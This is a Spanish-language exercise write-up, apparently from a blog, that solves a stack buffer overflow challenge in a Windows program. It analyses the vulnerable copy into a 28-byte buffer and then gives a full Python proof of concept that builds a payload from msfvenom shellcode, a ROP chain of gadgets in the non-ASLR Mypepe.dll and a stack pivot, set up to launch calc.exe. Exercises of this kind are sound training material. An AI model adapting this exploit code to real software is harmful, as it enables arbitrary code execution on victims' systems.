s1kr10s me ha propuesto que solucionemos el Ejercicio 3 publicado en el Twitter de Ricardo Narvaja:
Analizando el main, es posible visualizar que se esperan tres argumentos:
Si continuamos analizando, se repite un bucle 20 veces en donde cada iteración llama a la función malloc() con un tamaño de 40 bytes, luego se procede a copiar por medio de la función strncpy() el contenido del argumento 2 en las direcciones de memoria creadas y finalmente se imprimen en pantalla:
Una vez culminado el bucle, el programa transforma el argumento uno en entero por medio de la función atoi(), carga la dll Mypepe.dll y finalmente llama a la función sub_401010 la cual se encarga de copiar el contenido del argumento 2 en un buffer local (buffer_7) de 28 bytes, por lo tanto si el argumento 2 excede el tamaño de buffer_7 es posible desbordar la pila:
A modo de ejemplo introducimos los siguientes parámetros:
Por lo cual, deberíamos sobre-escribir el buffer a partir de ‘2222’:
Condiciones necesarias para desarrollar un exploit funcional y genérico:
- ESI apunta a una zona de memoria en donde se encuentra el buffer de los argumentos (sin el límite de 40 bytes del segundo argumento), por lo cual deberíamos incrementar ESI para que apunte al inicio de nuestra shellcode o cadena de ROP Gadgets.
- p_Malloc debe apuntar a una dirección en donde se encuentre un valor null, debido a que es usado como parámetro para la llamada a la función printf().
- Se deben usar ROP Gadgets de la dll Mypepe.dll debido a que no posee ASLR.
Prueba de concepto (PoC)
El siguiente script genera un archivo con los parámetros necesarios para ejecutar la calculadora de Windows:
import struct from struct import pack # msfvenom -e x86/alpha_mixed -p windows/exec cmd=calc.exe -a x86 -f py buf = "" buf += "\x89\xe0\xdb\xc3\xd9\x70\xf4\x5e\x56\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x6b\x58\x6c" buf += "\x42\x77\x70\x67\x70\x43\x30\x71\x70\x6e\x69\x7a\x45" buf += "\x50\x31\x6b\x70\x42\x44\x4e\x6b\x36\x30\x56\x50\x6c" buf += "\x4b\x42\x72\x76\x6c\x6c\x4b\x31\x42\x44\x54\x4e\x6b" buf += "\x32\x52\x37\x58\x64\x4f\x6c\x77\x53\x7a\x61\x36\x36" buf += "\x51\x6b\x4f\x6c\x6c\x75\x6c\x51\x71\x33\x4c\x67\x72" buf += "\x36\x4c\x65\x70\x49\x51\x7a\x6f\x44\x4d\x66\x61\x48" buf += "\x47\x79\x72\x4c\x32\x46\x32\x36\x37\x4e\x6b\x30\x52" buf += "\x34\x50\x4c\x4b\x53\x7a\x77\x4c\x6e\x6b\x30\x4c\x46" buf += "\x71\x31\x68\x6b\x53\x37\x38\x43\x31\x7a\x71\x53\x61" buf += "\x4c\x4b\x32\x79\x67\x50\x56\x61\x7a\x73\x6c\x4b\x77" buf += "\x39\x76\x78\x38\x63\x77\x4a\x30\x49\x4c\x4b\x30\x34" buf += "\x4e\x6b\x36\x61\x79\x46\x46\x51\x59\x6f\x6c\x6c\x39" buf += "\x51\x68\x4f\x66\x6d\x53\x31\x59\x57\x50\x38\x49\x70" buf += "\x61\x65\x38\x76\x75\x53\x51\x6d\x6a\x58\x75\x6b\x33" buf += "\x4d\x51\x34\x72\x55\x39\x74\x62\x78\x6e\x6b\x52\x78" buf += "\x77\x54\x46\x61\x69\x43\x63\x56\x4e\x6b\x44\x4c\x62" buf += "\x6b\x4c\x4b\x62\x78\x65\x4c\x46\x61\x79\x43\x6c\x4b" buf += "\x56\x64\x6e\x6b\x36\x61\x4e\x30\x6c\x49\x52\x64\x66" buf += "\x44\x76\x44\x73\x6b\x51\x4b\x51\x71\x32\x79\x53\x6a" buf += "\x50\x51\x39\x6f\x49\x70\x63\x6f\x61\x4f\x50\x5a\x6c" buf += "\x4b\x74\x52\x4a\x4b\x6e\x6d\x71\x4d\x61\x7a\x73\x31" buf += "\x6c\x4d\x6b\x35\x6d\x62\x63\x30\x67\x70\x47\x70\x66" buf += "\x30\x51\x78\x54\x71\x4c\x4b\x32\x4f\x6b\x37\x49\x6f" buf += "\x38\x55\x6f\x4b\x48\x70\x6e\x55\x6f\x52\x52\x76\x65" buf += "\x38\x6f\x56\x6d\x45\x4f\x4d\x6d\x4d\x59\x6f\x7a\x75" buf += "\x75\x6c\x53\x36\x51\x6c\x64\x4a\x4b\x30\x79\x6b\x69" buf += "\x70\x72\x55\x77\x75\x4d\x6b\x73\x77\x36\x73\x63\x42" buf += "\x50\x6f\x30\x6a\x77\x70\x63\x63\x4b\x4f\x4b\x65\x73" buf += "\x53\x61\x71\x30\x6c\x33\x53\x54\x6e\x65\x35\x61\x68" buf += "\x63\x55\x43\x30\x41\x41" shellcode = buf nop = pack("<I",0x41414141) ret = pack("<I",0x78014E41) ptr_null = pack("<I",0x78035028) # byte null Mypepe.dll rop1 = pack("<I",0x78011A39) # pop ecx # retn rop1 += pack("<I",0x5D585703) # 0x005DEDDF - 0x005DED78 = 0x67, 0x5D58576A - 0x67 = 0x5D585703 rop1 += pack("<I",0x7801685C) # add eax, 5D58576A # retn rop1 += pack("<I",0x7802682D) # sub eax, ecx # pop ebp # retn rop1 += pack("<I",0x41414141) # align rop1 += pack("<I",0x7801E455) # call eax pivot = pack("<I",0x78020C50) # add esp, 14h # mov eax, edi # pop edi # pop esi # retn payload = 'AAAA ' + 'BBBB' + rop1 + ptr_null + pivot + nop + shellcode f = open('output.txt', 'w') f.write(payload) f.close()
Agregar un comentario
Debes iniciar sesión para comentar.